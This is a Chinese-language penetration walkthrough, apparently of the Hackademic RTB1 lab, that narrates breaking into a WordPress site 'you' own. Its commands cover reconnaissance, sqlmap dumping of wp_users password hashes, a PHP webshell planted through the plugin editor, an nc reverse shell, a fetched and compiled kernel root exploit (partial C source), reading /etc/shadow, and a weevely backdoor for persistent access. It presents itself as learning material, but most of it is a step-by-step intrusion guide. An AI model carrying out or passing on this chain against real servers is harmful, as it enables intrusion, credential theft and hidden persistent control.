通過本文你將了解黑客常用的入手思路和技術手法,適合熱愛網絡信息安全的新手朋友了解學習。本文將從最開始的信息收集開始講述黑客是如何一步步的攻破你的網站和服務器的。閱讀本文你會學到以下內容:
1.滲透測試前的簡單信息收集。
2.sqlmap的使用
3.nmap的使用
4.nc反彈提權
5.linux系統的權限提升
6.backtrack 5中滲透測試工具nikto和w3af的使用等.
假設黑客要入侵的你的網站域名為:hack-test.com
讓我們用ping命令獲取網站服務器的IP地址

現在我們獲取了網站服務器的IP地址為:173.236.138.113
尋找同一服務器上的其它網站,我們使用sameip.org.

26 sites hosted on IP Address 173.236.138.113
ID
Domain
Site Link
1
hijackthisforum.com
hijackthisforum.com
2
sportforum.net
sportforum.net
3
freeonlinesudoku.net
freeonlinesudoku.net
4
cosplayhell.com
cosplayhell.com
5
videogamenews.org
videogamenews.org
6
gametour.com
gametour.com
7
qualitypetsitting.net
qualitypetsitting.net
8
brendanichols.com
brendanichols.com
9
8ez.com
8ez.com
10
hack-test.com
hack-test.com
11
kisax.com
kisax.com
12
paisans.com
paisans.com
13
mghz.com
mghz.com
14
debateful.com
debateful.com
15
jazzygoodtimes.com
jazzygoodtimes.com
16
fruny.com
fruny.com
17
vbum.com
vbum.com
18
wuckie.com
wuckie.com
19
force5inc.com
force5inc.com
20
virushero.com
virushero.com
21
twincitiesbusinesspeernetwork.com
twincitiesbusinesspeernetwork.com
22
jennieko.com
jennieko.com
23
davereedy.com
davereedy.com
24
joygarrido.com
joygarrido.com
25
prismApp.com
prismapp.com
26
utiligolf.com
utiligolf.com
173.236.138.113上有26個網站,很多黑客為了攻破你的網站可能會檢查同服務器上的其它網站,但是本次是以研究為目標,我們將拋開服務器上的其它網站,只針對你的網站來進行入侵檢測。
我們需要關于你網站的以下信息:
1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)
讓我們開始找你網站的DNS記錄,我們用who.is來完成這一目標.

我們發現你的DNS記錄如下

讓我們來確定web服務器的類型

發現你的Web服務器是apache,接下來確定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下來是時候尋找你網站域名的注冊信息,你的電話、郵箱、地址等.

我們現在已經獲取了你的網站域名的注冊信息,包括你的重要信息等.
我們可以通過backtrack5中的whatweb來獲取你的網站服務器操作系統類型和服務器的版本.


我們發現你的網站使用了著名的php整站程序wordPress/ target=_blank class=infotextkey>WordPress,服務器的的系統類型為FedoraLinux,Web服務器版本Apache 2.2.15.繼續查看網站服務器開放的端口,用滲透測試工具nmap:
1-Find services that run on server(查看服務器上運行的服務)

2-Find server OS(查看操作系統版本)

只有80端口是開放的,操作系統是Linux2.6.22(Fedora Core 6),現在我們已經收集了所有關于你網站的重要信息,接下來開始掃描尋找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.
我們將使用Nikto來收集漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

我們也會用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui

我們輸入要檢測的網站地址,選擇完整的安全審計選項.

稍等一會,你將會看到掃描結果.

發現你的網站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.讓我們來探討SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
我們通過工具發現這個URL存在SQL注入,我們通過Sqlmap來檢測這個url.
Using sqlmap with –u url

過一會你會看到

輸入N按回車鍵繼續

我們發現你的網站存在MySQL顯錯注入,mysql數據庫版本是5.0. 我們通過加入參數”-dbs”來嘗試采集數據庫名.


發現三個數據庫,接下來通過參數”-D wordpress -tables”來查看wordpress數據庫的所有表名


通過參數“-T wp_users –columns ”來查看wp_users表中的字段.


接下來猜解字段user_login和user_pass的值.用參數”-C user_login,user_pass–dump”

我們會發現用戶名和密碼hashes值. 我們需要通過以下在線破解網站來破解密碼hashes
http://www.onlinehashcrack.com/free-hash-reverse.php

登陸wordpress的后臺wp-admin
嘗試上傳php webshell到服務器,以方便運行一些linux命令.在插件頁面尋找任何可以編輯的插件.我們選擇Textile這款插件,編輯插入我們的php webshell,點擊更新文件,然后訪問我們的phpwebshell.


Phpwebshell被解析了,我們可以控制你網站的文件,但是我們只希望獲得網站服務器的root權限,來入侵服務器上其它的網站。
我們用NC來反彈一個shell,首先在我們的電腦上監聽5555端口.

然后在Php webshell上反向連接我們的電腦,輸入你的IP和端口5555.

點擊連接我們會看到

接下來我們嘗試執行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用來顯示用戶的id和組)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(顯示服務器上當前的路徑)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示內核版本信息)

現在我們知道,服務器的內核版本是2.6.31.5-127.fc12.1686,我們在exploit-db.com中搜索此版本的相關漏洞.
在服務器上測試了很多exp之后,我們用以下的exp來提升權限.
http://www.exploit-db.com/exploits/15285
我們在nc shell上執行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到服務器并重命名為roro.c)
注:很多linux內核的exp都是C語言開發的,因此我們保存為.c擴展名.
exp roro.c代碼如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通過以上代碼我們發現該exp是C語言開發的,我們需要將他編譯成elf格式的,命令如下:
gcc roro.c –ororo
接下來執行編譯好的exp
./roro

執行完成之后我們輸入id命令
id
我們發現我們已經是root權限了
uid=0(root) gid=0(root)

現在我們可以查看/etc/shadow文件
cat/etc/shadow

我們可以使用”john theripper”工具破解所有用戶的密碼.但是我們不會這樣做,我們需要在這個服務器上留下后門以方便我們在任何時候訪問它.
我們用weevely制作一個php小馬上傳到服務器上.
1.weevely使用選項
root@bt:/pentest/backdoors/web/weevely#./main.py -

2.用weevely創建一個密碼為koko的php后門
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

接下來上傳到服務器之后來使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko

測試我們的hax.php后門